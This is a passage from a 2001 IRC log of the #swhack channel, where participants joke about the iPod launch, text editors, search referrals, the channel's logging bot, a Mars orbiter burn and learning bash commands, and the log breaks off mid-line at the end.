[7:48] ouch, but not suprising 01:41:51 [7:48] Perhaps I would save money if I buy it over there. 01:41:53 [7:48] ooh, is that an up-to-date conversion? 01:41:55 [7:48] I very much doubt it 01:41:57 [7:48] Yes, I think it's live. 01:41:57 sheesh. big enough paste? :) 01:41:59 [7:49] tav, don't you get it off of the Web? 01:42:01 [7:49] yo, tav?! tav!!! aaaaaargh, answer us! :-) 01:42:03 [7:50] yes, it's live 01:42:05 [7:50] hooray! 01:42:07 [7:51] yea, i been contemplating buying an iPod for my sister 01:42:09 [7:52] lucky her 01:42:11 [7:52] to think that it costs as much as my rio did just under 2 years ago, and holds almost a 100 times as much 01:42:14 [7:52] You could buy me one too. 01:42:16 [7:52] "ultra slim 5GB hard drive" kinda scares me. In a few years, we'll laugh at that 01:42:18 [7:53] well, i don't have enough money to buy her one yet 01:42:20 [7:53] also, would have to buy a mac... 01:42:22 [7:54] ooh. new bbedit can force to utf-8 01:42:24 [7:56] Hmm... XEmacs has an XSLT processor: wonder if it's any good? 01:42:26 [8:01] hey aaran, the new bbedit can run python scripts on selected text 01:42:28 [8:01] Ooh, cool! 01:42:30 [8:01] yah. i just ran a number lines python script on an html doc. 01:42:32 [8:01] ran perfectly 01:42:34 [8:01] great 01:42:35 /kick AaronSw 01:42:36 [8:02] that's quite neat 01:42:38 [8:02] Oooh.. heheh. 01:42:40 [8:02] there's a rot13 python script. 01:42:42 [8:02] Hmm. only it didn't work. 01:42:44 [8:05] .rot13 like this? 01:42:46 [8:05] yvxr guvf 01:42:48 [8:05] heheh 01:42:50 [8:08] sbp, why're you downloading xemacs? 01:42:52 [8:09] I didn't say I was downloading it, I said it has an XSLT processor :-) but I am downloading it... so big! 01:42:55 [8:09] I just need it to do some work 01:42:57 [8:09] plus, you told me to install emacs... 01:42:59 [8:09] and I dunno where I put the last (smaller) version I got 01:43:01 [8:10] I probably downloaded it before I got my new computer 01:43:03 [8:10] so lost in the archives somewhere 01:43:05 [8:10] as long as it's intuitive... 01:43:07 [8:11] it's definitely not 01:43:09 [8:11] it's like the opposite of intuitive 01:43:11 [8:11] hehe. emacs? intuitive? 01:43:13 [8:11] ugh 01:43:15 [8:11] go get bbedit 01:43:17 [8:11] What's the opposite of intuitive? 01:43:19 [8:11] Go get Pepper ;) 01:43:21 [8:12] oh, for a decent text editor... 01:43:23 [8:12] Aaron, design a text editor! 01:43:25 [8:12] put it on your todo list 01:43:27 [8:12] Oh dear... I'm so busy... 01:43:29 [8:12] I had someone else working on that for me. 01:43:31 [8:13] i was gonna do an email program. 01:43:33 [8:13] * Morbus ducks. 01:43:35 [8:13] But I think they've given up on it. 01:43:37 [8:13] oh, you can squeeze it in. Give up eating 01:43:39 [8:13] Heheheh. 01:43:41 [8:13] and bathing. 01:43:43 [8:13] :-) 01:43:45 [8:13] Already gave that up a long time ago ;) 01:43:47 [8:13] heh, heh 01:43:49 [8:13] Funny quit message: "Tried to get a life, but couldn't find one on Ebay" 01:43:51 [8:14] Imagine all the things google will archive us for if we get archived on Google. 01:43:53 [8:15] TODO++: Get Archived on Google 01:43:55 [8:15] oh, let's archive the perfect quit message for Morbus then 01:43:57 [8:15] "tender nutsacks? disobey.com" 01:43:59 [8:15] See, that's what I mean. 01:44:01 [8:15] heh, heh: have you had any more weird searches? 01:44:03 [8:16] Aaron: yeah, but do we really want that? 01:44:05 [8:16] I didn't say we did. 01:44:07 [8:16] we'll just attract people who are as weird as us, and that can't be a good thing :-) 01:44:09 [8:17] No, certainly not. 01:44:11 [8:17] * sbp didn't say tht you said that we did either 01:44:13 [8:17] i *always* get weird searches. 01:44:15 [8:17] s/tht/that 01:44:17 [8:17] Heh, seen elswhere: "I know it's cliche to say, but I love the Onion" 01:44:19 [8:17] examples? 01:44:21 [8:17] lemme hceck last weeks. 01:44:23 [8:18] actually, it's a "clic 01:44:25 [8:18] Ooh, sbp's got the diacritical marks going. 01:44:27 [8:18] I've got plenty of things going 01:44:29 [8:19] 3: 0.06%: 3: 0.07%: sabrina the teenage witch nude 01:44:31 [8:19] lol! 01:44:33 [8:19] 3: 0.06%: 3: 0.07%: www black hair styles.com 01:44:35 [8:19] 3: 0.06%: 3: 0.07%: indian women who never shave porn 01:44:37 [8:20] 2: 0.04%: 2: 0.04%: tokyo breakfast hypnotic 01:44:39 [8:20] 2: 0.04%: 2: 0.04%: buying drugs yonge street 01:44:41 [8:20] 2: 0.04%: 2: 0.04%: mineral water and market share and australia 01:44:43 [8:20] 2: 0.04%: 2: 0.04%: pamela anderson's vagina 01:44:45 [8:20] 2: 0.04%: 2: 0.04%: satan gif 01:44:47 [8:20] 2: 0.04%: 2: 0.04%: soulpurpose 01:44:49 [8:20] 2: 0.04%: 2: 0.04%: crack morbus download 01:44:51 [8:20] 2: 0.04%: 2: 0.04%: what does the pledge of allegiance mean 01:44:53 [8:20] and on and on 01:44:55 [8:21] heh, heh: crack morbus download 01:44:57 [8:21] I almost want to search for some of the above to see why they led to disobey, but I'm too scared :-) 01:44:58 Disconnected from irc.openprojects.net (Connection reset by peer) 01:45:01 logster has joined #swhack 01:45:01 Users on #swhack: logster fUD atariboy Morbus deltab BenSw tav sbp AaronSw 01:45:02 [8:22] some poor student: mineral water and market share and australia 01:45:05 [8:22] lol: 2: 0.04%: 2: 0.04%: rotting christ t shirts 01:45:06 [8:22] i have no clue. 01:45:08 [8:22] i really don't. 01:45:10 [8:22] :) 01:45:12 [8:22] .google crack morbus download 01:45:14 [8:22] crack morbus download: http://www.disobey.com/text/viewer_discretion/2000/vd000829.txt 01:45:16 [8:23] from that page: 01:45:18 [8:23] [[[ 01:45:20 [8:23] There a picture of Morbus on his site where it clearly shows he has 3 01:45:22 xena has joined #swhack 01:45:22 [8:23] nipples. Really. Email him & ask about them - he loves talking about 01:45:24 [8:23] them. 01:45:26 [8:23] ]]] 01:45:30 [8:24] eek 01:45:30 [8:24] heh:- 01:45:32 [8:25] [[[ 01:45:34 [8:25] Mouse: Soft, fuzzy thing that you stuff in your beer bottle to get a 01:45:36 [8:25] free case 01:45:39 [8:25] ]]] 01:45:40 [8:25] heh 01:45:42 just pasting in logs... sorry 01:45:44 OK, should be done now. 01:45:46 Hi 01:45:48 You missed most of it. 01:45:50 Or maybe not... 01:45:52 LOL! 01:45:54 *** logster has quit IRC (Buffer allocation error for logster[xcdfddb76.ip.ggn.net]) 01:45:56 Buffer allocation error 01:45:58 :) 01:46:08 bwahahahah. 01:46:13 poor poor logster 01:47:02 Actually, it looked like it got all of it except for one line 01:47:13 Beware massive obscene paste 2... 01:47:20 * AaronSw contemplates wheter to do that or not 01:47:44 *** You have joined the channel #downwithaaronsw 01:47:45 *** sbp (sean@pAFs13a06.client.global.net.uk) has joined the channel 01:47:45 heh, heh, you sick buggers! 01:47:46 man, you know, that aaron guy sucks 01:47:46 yeah, he sure does Patrone 01:47:46 *** sbp has changed the topic to "Archive everything? The mentality of the man!" 01:47:48 [...] 01:48:00 yeah, i saw / heard that one. 01:48:00 man, i'm not getting any work done tonight. 01:48:00 that flipping AaronSw guy keeps bugging me. 01:48:00 yeah, his aura is just too powerful 01:48:01 * sbp makes up things to hate about AaronSw 01:48:01 he's terrible at football! have you ever seen him play? 01:48:03 i feel like i'm getting pulled into a mire of despicable snot-nosed brattery. 01:48:04 [...] 01:48:15 * sbp really wonders if Aaron will log thing :-) 01:48:16 LOL! I'm definitely going to copy all this to swhack. 01:48:16 s/thing/this. 01:48:16 heheheheh. 01:48:16 lol 01:48:17 not if i kick you first 01:48:18 heh, heh, heh 01:48:22 not that i even know how. heh. 01:48:34 [...] 01:48:35 hehehehhe. 01:48:35 there he goes! 01:48:35 dear oh dear 01:48:42 [..] 01:48:43 bah. stupid parsing thing. 01:48:43 ah! I have XEmacs 01:48:43 heh, he's pasting it!!! 01:48:43 i just noticed. sigh 01:48:55 ah, but you didn't do it all 01:48:56 he's pasting us talking about him pasting it! 01:49:13 and now, where will you paste? 01:49:20 hah! 01:49:38 BenSw has quit 01:49:38 sbp has quit 01:49:38 Morbus has quit 01:49:38 tav has quit 01:49:43 the recursion boggles me! 01:49:43 yeah, me too 01:49:43 where shall we talk? 01:49:43 what is 01:49:43 welp, i'm gonna be split in a second. 01:49:52 BenSw has joined #swhack 01:49:52 sbp has joined #swhack 01:49:52 Morbus has joined #swhack 01:50:36 Well that was fun. 01:51:03 brb. getting the laundry. 01:51:10 yes, i even do laundry. 01:51:26 I'm appaled 01:51:59 tav` has joined #swhack 01:52:38 have you given your third nipple a name? 01:57:45 like Chandler did, in Friends 01:59:05 i can't believe you watch friends. 01:59:11 Heheh. 01:59:12 i can't believe i remember what episode you're talking about. 01:59:16 what???] 01:59:18 Heh! 01:59:29 He has a poster on his wall, right above the simpsons. 01:59:32 you can't believe I watch Friends? 01:59:35 heheh. i bet he does. 01:59:40 yes, in america, friends is for girly men. 01:59:42 [GlobalNotice] Hi all. If you're not watching the wallops, some intentional rehubbing is going on. Thanks. 01:59:42 tav` has quit 01:59:43 02:00:02 tav` has joined #swhack 02:00:04 pah, intentional 02:00:07 oh right, I'll try to remeb 02:00:13 er... 02:00:18 hang on 02:01:39 girly men?! I'm outraged (and trying to type whilst eating crisps) 02:01:50 Heheh. 02:05:02 Dr. Peppers... 02:05:07 it's just so... well... 02:05:12 just so misunderstood 02:05:48 hehe. 02:05:53 i haven't had soda in months. just water. 02:05:58 and juice crap 02:06:28 How come? 02:07:00 he's too cheap 02:07:26 nah. i'm getting tubby really. 02:07:27 do you know how much he spent on one soft drink in the period of about a month? 02:07:34 heheheh. shshssssh! 02:07:38 .grep morbus jolt 02:07:40 you tell him, Morby. What was the name of that drink again? 02:07:48 is that the syntax? 02:07:50 logster, grep morbus jolt 02:07:54 I'm logging. I found 2 answers for 'morbus jolt' 02:07:55 0) 2001-10-24 02:07:50 logster, grep morbus jolt 02:07:56 1) 2001-10-24 02:07:38 .grep morbus jolt 02:08:00 grpit! 02:08:08 logster, grep sbp jolt 02:08:10 I'm logging. I found 1 answer for 'sbp jolt' 02:08:11 0) 2001-10-24 02:08:08 logster, grep sbp jolt 02:08:15 logster, grep 1-20 jolt 02:08:18 I'm logging. I found 4 answers for 'jolt' (showing 1...4) 02:08:19 1) 2001-10-24 02:08:08 logster, grep sbp jolt 02:08:20 2) 2001-10-24 02:07:50 logster, grep morbus jolt 02:08:21 3) 2001-10-24 02:07:38 .grep morbus jolt 02:08:21 stupid logster crap thing 02:08:21 lol 02:08:36 grep aaronsw suckass logster 02:09:00 no, didn't think that one would work ;) 02:09:09 lol 02:12:22 Mars landing! http://mars.jpl.nasa.gov/odyssey/mission/moi.html 02:12:50 I wonder if we still get NASA TV 02:14:29 oh, we do! 02:14:41 sbp: kick out AaronSw, atariboy, deltab, and fUD 02:14:56 what for? 02:15:11 pay me 02:15:15 * AaronSw squelches dissent 02:15:19 /kick tav 02:15:20 heh, heh, heh 02:15:30 /kick sbp 02:15:32 * sbp sensed that 02:15:53 /oper tav ***** 02:16:12 /msg operserv mode #swhack +o tav 02:17:31 tav`: You want me to leavre? 02:17:37 who are all these new people? 02:17:58 sbp has quit 02:18:12 sbp has joined #swhack 02:18:38 there we go (until Aaron gets hoppy again) 02:18:41 er: deoppy 02:18:47 deoppy happy! 02:18:48 hoppy deoppy 02:19:01 yeah! 02:19:20 * sbp enjoys talking to Aaron 02:20:23 when he's not archiving stuff :-) 02:20:49 Heheheh. 02:21:13 ah: http://www.nasa.gov/ntv/ 02:21:35 fUD has left #swhack 02:21:55 sbp has changed the topic to: Aaron is a hoppy deoppy happy puppy. Are you a hoppy deoppy happy puppy too? 02:22:11 ehm 02:22:19 actually, I badly phrased that 02:22:37 sbp has changed the topic to: Aaron is a happy hoppy deoppy puppy. Are you a happy hoppy deoppy puppy too? 02:22:50 text2speech pronounces this channel as swuck 02:23:13 Mission control is so boring... they need dancing clowns or somehting 02:23:27 there are rules for adjective placement, would you believe 02:23:34 lol @ dancing clowns 02:23:35 pfft 02:23:43 no, really! 02:25:10 .google "adjective placement" 02:25:11 "adjective placement": http://esl.about.com/library/grammar/blgr_adjective_order.htm 02:26:52 sbp, what is this channel for anyway? 02:27:40 *this* channel? #swhack? 02:27:52 tav has joined #swhack 02:28:25 We're developing a new brand of ultra tasty bolivian cabbage 02:28:49 in our spare time, we work on new ways of saying the word "splendid" 02:29:06 s/bolivian/Bolivian/ 02:29:42 Ah, I see. Thanks. 02:29:56 Morbus has quit 02:30:16 The burn has started. 02:30:21 Nasa folks go "whoo!" 02:30:28 Or perhaps they said "w00t!" 02:54:08 Whoo! Signal on Mars. 03:23:18 great! 03:24:52 How do I get the time to display in bash? 03:25:19 date 03:25:33 command not found 03:25:39 it's a unix command... hmm, you need more tools 03:25:52 you need sh-utils 03:26:08 O.K., I'll download it 03:31:54 so, what are the various paths for? 03:32:22 .google unix filesystem paths 03:32:23 unix filesystem paths: http://www.liquidweb.com/manual/chapter2/filesystem.html 03:32:43 .google unix directory structure home var bin 03:32:44 unix directory structure home var bin: http://www.xs4all.nl/~mpfeifer/mulinux/dirstructure.html 03:33:02 Ah, that's better 03:34:58 great 03:35:42 cool: it printed the date 03:35:49 now... how do I print the date to a file? 03:36:32 and how do I find that out for myself without bugging you :-) 03:38:17 date > filename 03:38:22 buggy is no name 03:38:25 err no problem 03:38:36 .google introduction to unix shell 03:38:37 introduction to unix shell: http://www.iki.fi/era/unix/shell.html 03:39:06 Oh, that's the best! 03:39:14 From Bourne himself 03:39:22 neat 03:41:04 what is cygintl in, d'ya reckon? need it to run VIM... 03:41:48 cygintl? 03:41:55 never heard of it 03:42:11 damn 03:44:09 aaaaargh, I can't type a pipe | 03:44:17 You can't? 03:44:21 | | | | 03:44:54 | | | | | | | 03:44:59 but not in bash 03:45:11 why not? 03:45:37 I have no idea! 03:47:16 aha, cygintl is in gettext 03:49:14 * sbp gets it 03:57:40 * sbp downloads a load more 04:09:13 rillian has joined #swhack 04:10:05 Hmm... I really can't type a pipe 04:13:11 * sbp already worked out grep -i /home/etc 04:13:25 for case insensitive grepping. Nicely intuitive 04:14:55 "'oh, that was easy!' says man, who for an encore goes on to prove that black is white and gets killed at the next zebra crossing." 04:15:20 :-) 04:15:37 Douglas Adams? 04:15:42 of course! 04:15:47 Gotta run 04:15:52 c'ya 04:16:39 * rillian notes that _The Holy Grail_ is playing at a local theatre 04:18:58 sbp has quit 04:43:20 rillian has quit 04:43:27 rillian has joined #swhack 05:25:13 deltab has quit 05:28:14 deltab has joined #swhack 06:13:08 rillian has quit 08:51:13 bucknaked has joined #swhack 09:48:36 bucknaked has quit 14:26:51 morning 15:06:48 tav` has quit 15:37:06 sbp has joined #swhack 15:37:15 Heeeere, googlebot, googlebit 15:38:21 hi sbp 15:39:17 Hi 15:42:21 sbp, was my website cooler then or now? 15:42:31 then being http://web.archive.org/web/20000817013024/http://swartzfam.com/aaron/ 15:43:44 heh, heh, heh 15:44:10 I'm sort of surprised it looked decent back then. 15:44:21 My friends websites from the period... well... are just sad. 15:44:50 and they're still sad. 15:45:25 Gotta run 15:45:39 c'ya 15:50:58 sbp has quit 16:22:36 example shell command for sbp: 16:22:37 ( while [ 1 ] ; do export SONG=`find /home/mycds/ -type f | unsort.py | head -1` ; echo "${SONG}" ; if ! grep -q "${SONG}" /tmp/played; then id3 -l "${SONG}"; say -q `python -c"import urllib, os, string; print string.translate(string.translate(urllib.unquote_plus(os.path.splitext(os.path.basename(\"${SONG}\"))[0]), string.maketrans('-', '.')), string.maketrans('_-:', ' '))"`; alsaplayer --nogui --realtime "${SONG}"; echo "${SONG}" >> /tmp/played; fi ; 16:23:17 Morbus has joined #swhack 16:24:49 Morbus! 16:24:58 Aaron! 16:26:09 So we figured out why there were so many new feeds. Heh, heh. 16:26:23 heh. 2700 being polled. that's insane. :) 16:26:24 Morbus has left #swhack 16:26:53 5256 being polled! 16:27:34 Morbus has joined #swhack 16:27:37 5256 being polled! 16:27:38 stupid button. 16:27:44 and 2700 new ones later today. 16:27:49 From where? 16:28:08 according to jeff, that's what was submitted the past few days, from me, krus, and that icelandic site 16:29:27 No, I think those are the ones that bumped it past 5000 16:29:49 [[[ 16:29:49 Fortunately there are another 2700 being polled (and soon 16:29:49 ready for aproval) thanks to the monster submissions 16:29:49 made earlier today. 16:29:51 ]] 16:29:52 ] 16:29:59 And that was yesterday. 16:30:10 but they didn't show up today. 16:30:18 last i checked, it was still only 7 to review or sumthing 16:30:26 oh. i'm an editor now. phbbbt :) 16:30:30 Heheh. 16:31:36 Heh, blogdex on iPod: 1. Apple - iPod - 71.0 points 16:31:36 iPod ... Apple iPod ... Say Hello to iPod ... The iPod ... Hello, iPod ... this new product from Apple. ... introducing the iPod...big iDeal ... los audífonos ... silly product ... I want one! ... that dream is now a reality ... iPod MP3 player ... reality ... $400 ... hard to shop for ... it's 16:32:21 heh. is your family still gaga? 16:32:26 i'm trying to ignore the hype. 16:32:35 "[...] hard to shop for ... it's" 16:32:52 heheh 16:33:14 anchor tag # of times 16:33:15 ipod 29 16:33:18 People are so boring. 16:33:39 well, they're boring cos they're ipodpeople. 16:33:42 ever see that movie/ 16:35:58 Nope. 16:36:24 well, then the joke is lost on you. lost on you, i say. lost. .. . .lost. right. ok. 16:37:26 sigh. i hate matching fonts. flipping people should just give them to me. oh wait. they're too stupid too. 16:38:26 AaronSw has changed the topic to: Attack of the iPodPeople 17:10:11 rssturbate.com. heh. 17:11:27 heh. i love it. 17:13:22 Heheh. 17:14:19 Morbus has quit 17:29:32 Morbus has joined #swhack 17:30:16 do your wRSSts still hurt? 17:30:51 no, i calmed them down over lunch 17:31:02 ah 17:31:11 that was a good one, eh? 17:31:45 It gets a nyuk-nyuk 17:31:51 ba doom chish. 17:33:24 who the hell is atariboy? 17:35:06 i need a mac emulator for pc's so i can run bbedit 17:35:10 he snuck in while you were drunk last night 17:35:17 ooOh. 17:35:23 i told 'im we discussed mad mac os x skillz here 17:35:53 oh yeah? what'd he say? 17:35:55 he came right over 17:35:59 pics: http://atariboy.com/webcam/archive/archive.html 17:36:21 ah. he's said all of two lines since he's been here. 17:36:24 hey! tap, tap, tap! 17:36:28 atariboy! say something! 17:36:30 seen atariboy 17:36:31 atariboy last seen in #esp saying: [ fUD: haha ] ~ 12 hrs 22 mins 21 secs ago at 24-10-2001 - 05:15:39 17:36:36 hey, he's an aussie 17:37:18 tav` has joined #swhack 17:40:38 seen atariboy 2 17:40:39 (2) atariboy was seen in #esp saying: [ * atariboy grins ] ~ 12 hrs 26 mins 58 secs ago at 24-10-2001 - 05:15:10 17:40:46 seen atariboy #swhack 17:40:47 atariboy last seen in #esp saying: [ fUD: haha ] ~ 12 hrs 26 mins 37 secs ago at 24-10-2001 - 05:15:39 18:07:05 tav has quit 18:12:25 tav`` has joined #swhack 18:50:14 * a (was never worried about anthrax in truth) 18:50:14 What? You haven't been spazzing out and covering your entire house in Saran Wrap? That's unamerican! 18:50:14 im not american. :-p 18:50:14 Oh that's okay then. 18:50:32 heh 18:51:04 Maybe we should announce that the UnifiedInfoanarchistP2PMegaTool is going to compute a cure for anthrax. 18:51:05 Then we could get funding! 18:51:06 heh. this is great. 18:51:20 i'm writing a tech doc internally for some notes on our LILO configuration. 18:51:30 and i'm using gulliver travel's quotes throughout. 18:51:38 the title is "LILOputian Efforts To Install SUSE 7" 18:51:41 pretty nice ;) 18:52:28 Heheh. 18:54:37 you wanna read this doc after? 18:54:58 I'll just stay away from SUSE I think ;) 18:55:10 heh. well, it only happens on certain HW configs... 18:55:17 we had one box that the install was smooth as rain. 18:55:31 and then two boxes where we must've reinstalled about 6 times each before the machine would actually boot SUSE. 18:58:33 hmm 19:07:13 very contemplative AaronSw, i love. 19:07:26 Heheh. 19:12:38 Morbus has quit 19:12:38 tav` has quit 19:12:38 tav`` has quit 19:14:39 Morbus has joined #swhack 19:34:27 tav has joined #swhack 19:38:46 LOL, Frank Boumphrey just emailed his whole address book including several lists and "AOL Instant Messenger" that he was changing email addresses. 19:39:02 bwahahaha. 19:39:28 these computers i keep hearing so much about must be really hard to use. 19:39:38 They suck. 19:40:39 god, just got our first customer calling up about xp. 19:40:41 * Morbus shivers 19:41:02 Aaah! 19:41:10 aaaah is righ.t 19:41:26 "Windows XP says it'll may my browsing experience 50x faster, but my modem still connects and 56k!" 19:41:30 s/and/at/ 19:41:37 apparently, when you choose tcp/ip for the protocol your dun connection should go through, this box starts flashing that you need to "install". 19:41:45 but you don't need to install, no. you need to configure. 19:41:50 but boy, is that install box tasty. sigh. 19:41:52 heheheh 19:51:46 Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by benford.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 19:52:08 logster has joined #swhack 19:52:08 topic is: Attack of the iPodPeople 19:52:08 Users on #swhack: logster tav Morbus deltab @AaronSw atariboy xena BenSw 20:04:36 logster, i love you. 20:04:36 I'm logging. I don't understand 'i love you.', Morbus. Try /msg logster help 20:04:50 aaron, you need to get more comments onto the list concerning peerkat. 20:04:58 In what way? 20:05:03 About &s? 20:05:05 on syndi8 - how it handles bad feeds, and amperstands, and html, and so forth. 20:05:13 OK, will do that. 20:05:17 i'm curious myself 20:08:31 so many things to do... 20:08:40 i know! i'm buried. 20:15:10 See Jeff agrees with me. 20:21:33 well, i use a "real xml parser" too, i just precursively fix common errors if i see them. 20:25:45 You're giving in to the terrorists. 20:26:02 i'll be making strict_xml the default for the next version, i think. 20:26:20 i probably will keep the terrorist option available. 20:28:40 cool 21:03:25 Morbus has left #swhack 21:0